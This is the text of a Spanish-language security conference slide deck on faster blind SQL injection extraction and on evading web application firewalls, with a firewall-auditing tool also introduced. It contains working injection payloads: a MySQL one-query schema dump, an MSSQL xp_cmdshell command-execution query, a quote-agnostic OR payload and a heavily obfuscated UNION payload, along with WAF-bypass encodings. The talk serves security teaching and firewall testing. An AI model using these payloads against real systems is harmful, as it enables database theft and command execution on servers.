http://www.guadalajaracon.org/conferencias/nuevas-tecnicas-de-optimizacion-y-ofuscacion/
En esta plática se demostrarán las técnicas más nuevas y avanzadas de optimización y ofuscación disponibles en el campo de inyecciones de SQL. Estas técnicas sirven para evadir la detección de firewalls y sistemas de prevención de intrusos y extraer información de la base de datos a una velocidad impresionante.
Se demostrarán estas técnicas siendo usadas en firewalls comerciales y open-source y también se presentará la versión ALPHA de Leapfrog. Leapfrog es una herramienta en desarrollo que tiene como funcionalidad ayudar a administradores de IT, expertos en firewalls, profesionales de seguridad y empresas a auditar las reglas de detección e implementación de su firewall y encontrar sus debilidades para poder entender si es una medida defensiva adecuada para detener un verdadero ataque.
Muchas de las técnicas que se demostrarán fueron creadas por el presentador y actualmente son de los métodos más rápidos para extraer información de una base de datos a través de una inyección SQL. Se explicará cómo reducir el tiempo que tomar explotar una inyección de SQL por un tercio del tiempo que tomaría normalmente.
3. Roberto Salgado
• Co-fundador de Websec
• Proporcionar soluciones de seguridad
• Pen-testing, capacitación y monitoreo
• Creador del base de conocimientos de SQLi
• Pythonista / Investigador de seguridad
Contacto
• rsalgado@websec.mx
• http://www.websec.mx
• http://www.twitter.com/@LightOS
4. Indicé
Optimización
• Reducir el numero de peticiones
• Reducir el tamaño de las peticiones
Ofuscación
• Retos de SQLi
• Evadir Firewalls
• Diversión con codificaciones
Leapfrog
• SQLi
• LFI
• XSS
5. Exploits de una mama
Como prevenir Inyecciones de SQL?
http://www.bobby-tables.com
http://xkcd.com/327/
7. • Por que nos importa?
OPTIMIZACION
Intro
http://xkcd.com/85/
8. Análisis de métodos
• Bisección
• Bitwise
• Regex
• Binario a posición (Bin2Pos)
OPTIMIZACION
Inyección de SQL a Ciegas
9. Recordatorio
• Solo podemos obtener 1 carácter a la vez
• Testeamos si tenemos el carácter correcto con
respuestas “True” o “False”
Ejemplo
• SELECT * FROM users WHERE id=1 AND 1=1
• SELECT * FROM users WHERE id=1 AND 1=2
OPTIMIZACION
Inyección de SQL a Ciegas
11. OPTIMIZACION
Tabla ASCII
Cada character ASCII puede ser representado con
1 byte o 8 bits
Caracter a
Binario (base 2) 01100001
Octal (base 8) 141
Decimal (base 10) 97
Hexadecimal (base 16) 61
12. El octavo bit del carácter ASCII que nos interesa
siempre será 0
OPTIMIZACION
Tabla ASCII
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
255 FF 11111111
El rango ASCII que nos interesa
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
13. • Algoritmo de búsqueda binaria
• ASCII rango 32 – 126
• Se divide la mitad: (32 + 126) / 2 = 79
• El valor es mayor o menor?
• Se divide la mitad nuevamente y se
repite el proceso
OPTIMIZACION
Método Bisección
14. a = 97 decimal
OPTIMIZACION
Método Bisección
97 entre 79 y 126 True (32 + 126) / 2 = 79
97 entre 79 y 103 True (79 + 126) / 2 = 102.5
97 entre 79 y 91 False (79 + 103) / 2 = 91
97 entre 91 y 103 True (91 + 103) / 2 = 97
97 entre 91 y 97 True (91 + 97) / 2 = 95
97 entre 91 y 95 False (95 + 97) / 2 = 96
97 entre 95 y 97 True 97 != 96
97 == 97
15. • Cada carácter ASCII puede ser representado
en 1 byte o 8 bits
• El octavo bit del rango ASCII de los caracteres
que nos interesa siempre es 0
• El numero de peticiones siempre será 7
OPTIMIZACION
Métodos Bitwise
16. OPTIMIZACION
Métodos Bitwise
01100001 >> 7 00000000 0
01100001 >> 6 00000001 1
01100001 >> 5 00000011 3
01100001 >> 4 00000110 6
01100001 >> 3 00001100 12
01100001 >> 2 00011000 24
01100001 >> 1 00110000 48
01100001 >> 0 01100001 97
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
17. OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
(97 >> 7) = 0 1 o 0 1
(97 >> 6) = 0 1 o 0 0
(97 >> 5) = 2 010 o 011 0
(97 >> 4) = 6 0110 o 0111 1
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
18. OPTIMIZACION
Métodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
Pros:
• La cantidad de peticiones es consistente
Contras:
• Siempre usa 7 peticiones
• Implementacion rara
• No soporta hilos
19. OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97>>7),-1,1) 1 o 0 0
substr(bin(97>>6),-1,1) 1 o 0 1
substr(bin(97>>5),-1,1) 1 o 0 1
substr(bin(97>>4),-1,1) 1 o 0 0
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion
20. OPTIMIZACION
Métodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion
Pros:
• La cantidad de peticiones es consistente
• Hilos
Contras:
• Siempre usa 7 peticiones
26. "Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
Pros:
• La cantidad de peticiones es consistente
• Hilos
Contras:
• Siempre usa 7 peticiones
27. OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97),1,1) 1100001 1
substr(bin(97),2,1) 1100001 1
substr(bin(97),3,1) 1100001 0
substr(bin(97),4,1) 1100001 0
"Bit Substringing" - Por Keith Makan
28. "Bit Substringing" - Por Keith Makan
OPTIMIZACION
Métodos Bitwise
Pros:
• La cantidad de peticiones es consistente
• Hilos
Contras:
• Siempre usa 7 peticiones
29. ‚Regex method‛ - Por Simone 'R00T_ATI'
Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
REGEXP '^[a-z]' True
REGEXP '^[a-n]' True
REGEXP '^[a-g]' False
REGEXP '^[h-n]' True
REGEXP '^[h-l]' False
30. ‚Regex method‛ - Por Simone 'R00T_ATI'
Quatrini y Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
Pros:
• No se tiene que convertir a decimal
Contras:
• Requiere comillas
31. • Requiere una lista de los caracteres posibles
(32 – 126 decimal)
• Entre mas cerca este el carácter al inicio de la
lista, menos cantidad de peticiones son
requeridas
• Podemos ordenar la lista de caracteres por las
letras mas frecuentes del idioma
OPTIMIZACION
Método Bin2Pos
32. • Relacionar el carácter con su posición en la
lista
• Convertir esta posición a binario
• Hemos reducido la cantidad de caracteres a
buscar a 2 (0 y 1)
OPTIMIZACION
Método Bin2Pos
33. • Nuestra lista (sin mayúsculas)
– abcdefghijklmnopqrstuvwxyz
_0123456789,.<>/?;:'"[{]}|=+-
)(*&^%$#@!`~
• Lista hexadecimal
– 0123456789ABCDEF
• La lista mas grande tiene 94 caracteres
– BIN(1) = 1
– BIN(94) = 1011110
OPTIMIZACION
Método Bin2Pos
36. OPTIMIZACION
Método Bin2Pos
• “C” es la 3era posición en la lista, que equivale a 11 en
binario
• El 11 tiene 6 ceros a su izquierda: 00000011
• Nuestra petición empieza con el primer 1
• Por lo mismo, el primer numero siempre será 1
37. OPTIMIZACION
Método Bin2Pos
Obteniendo 11
• Sabemos que el primer digito es 1
• No requiere petición
• El segundo digito es 1?
• Si
• El tercer digito es 1?
• No, el tercer digito no existe
• Numero total de peticiones para “C”: 2
38. OPTIMIZACION
Método Bin2Pos
Pros:
• Muy pocas peticiones
• No es fácil de entender
Contras:
• Requieres 2 paginas diferentes
• Entre mas grande la lista, mas peticiones son
requeridas
42. Obtener todas las bases de datos, tablas y
columnas con solo una petición
OPTIMIZANDO CONSULTAS
MySQL
43. SELECT (@) FROM
(SELECT(@:=0x00),(SELECT (@)
FROM
(information_schema.columns)
WHERE (table_schema>=@) AND
(@)IN (@:=CONCAT(@,0x0a,' [
',table_schema,' ]
>',table_name,' >
',column_name))))x
OPTIMIZANDO CONSULTAS
MySQL
45. Una consulta para ejecución de código remota
• Checa si xp_cmdshell esta cargado
• Si esta cargado, checa si esta activo
• Corre el comando 'dir' y guarda el resultado
en la tabla TMP_DB
OPTIMIZANDO CONSULTAS
MSSQL
46. ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a
varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE
id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY
(id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int,
config_value int, run_value int) INSERT %23xp_cmdshell
EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT
* FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE
TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC
master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B'<br></font><font
color="black">'%2Bdir,'<dir>','</font><font
color="orange">') FROM %23Data WHERE dir>@a DROP TABLE
%23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP
TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not
found' SELECT @a AS tbl INTO TMP_DB--
OPTIMIZANDO CONSULTAS
MSSQL
47. • Las pruebas pueden llegar a ser tedioso
• Inyecciones de SQL pueden usar comillas,
comillas dobles o no tener comillas
• 400+ parámetros por modulo?!?!
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
48. Mínimo 3 pruebas diferentes por parámetro:
• OR 1=1
• OR '1'='1
• OR “1”=“1
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
49. Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
50. Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
51. Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas
52. Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas
• Comillas simples
60. OFUSCACION
Como Confundir al Admin
UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO
frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE like
TruE||FalSE
union/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)like'a
dmin'limit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION
SeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM
information_schema.statistics WhERE TABLe_SCHEmA
In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM
information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select
(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi(
)),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,
ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F5
3)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),!
!true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--
ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
floor(pi()))),0x6d7973716c))from(select--
(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00O
ooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(
`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM
InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION
SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION
SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
62. EVADIENDO FIREWALLS
Tips Generales
• Simple casi siempre es mejor
• Lea la documentación para el
comportamiento inesperado y rarezas
• Aprende de que es capaz el sistema de base
de datos y lo que puede manejar
66. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN TRUE THEN TRUE END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
67. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN TRUE THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
68. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1
END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
69. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM dual) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
70. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM dual) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
71. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM`dual`) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
72. EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT(TRUE)FROM`dual`) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
74. EVADIENDO FIREWALLS
Codificaciones
• URL encode
• Double URL encode
• Unicode encode
• Short UTF8
• Long UTF8
• First Nibble
• Second Nibble
• Double Nibble
• Invalid Hex
75. EVADIENDO FIREWALLS – Codificaciones
URL Encode
• URL Encoding se usa para transformar
caracteres “especiales” para que se puedan
mandar por HTTP
• Los caracteres son transformados en su
equivalente hexadecimal, con el % (signo
de porcentaje) de prefijo
• a = %61
76. EVADIENDO FIREWALLS – Codificaciones
Double URL Encode
• Double URL encode es el proceso de re-
codificar el % (signo de porcentaje)
• a = %61
• %61 = %2561
77. EVADIENDO FIREWALLS – Codificaciones
URL Encode / Firewalls Debiles
Descripcion del tamper script
“charencode” de SQLMAP que se usa para
codificar la peticion como URL encode:
“Useful to bypass very weak web application
firewalls that do not url-decode the request
before processing it through their ruleset”
79. EVADIENDO FIREWALLS – Codificaciones
Nibble
• Un nibble son 4 bits
• Un nibble representa medio caracter
hexadecimal (2^4 = 16)
• Dos nibbles o un octet, representa un
caracter hexadecimal
84. EVADIENDO FIREWALLS – Codificaciones
Hex Invalido
• Se trata de crear hex invalido que resulta en
el mismo valor decimal que hex valido
• “a” = %61
• %61 = 6 * 16 + 1 = 97
• %2Ú = 2 * 16 + 65 = 97
• %2Ú es lo mismo que %61
90. • Una herramienta diseñada para mejorar las
reglas del Firewall
• Busca bypases para diferentes ataques web
(SQLi, XSS, LFI, Filtros de contenido)
• Crea todo sus vectores dinámicamente
• Proporciona recomendaciones al encontrar
un bypass
• Genera una calificación basada en la cantidad
de vectores permitidos
LEAPFROG
Que es?
91. • WAF Acceptance Factor es la calificación que
genera basado en los vectores permitidos
LEAPFROG
WAF Acceptance Factor
Ok, no explicareestoahoraque me tomariatoda la conferenciaEstainyeccion de SQLisirve para confundir al adminLo puedecorrersi se atreveOfuscacionesuna de lasformas principals para evadir la deteccion de firewallsSi podemos esconder nuestro ataque y hacer que el firewall piense que es información valida, podemos evadir la detección del firewall y hacer que nuestro ataque pase sin ser bloqueado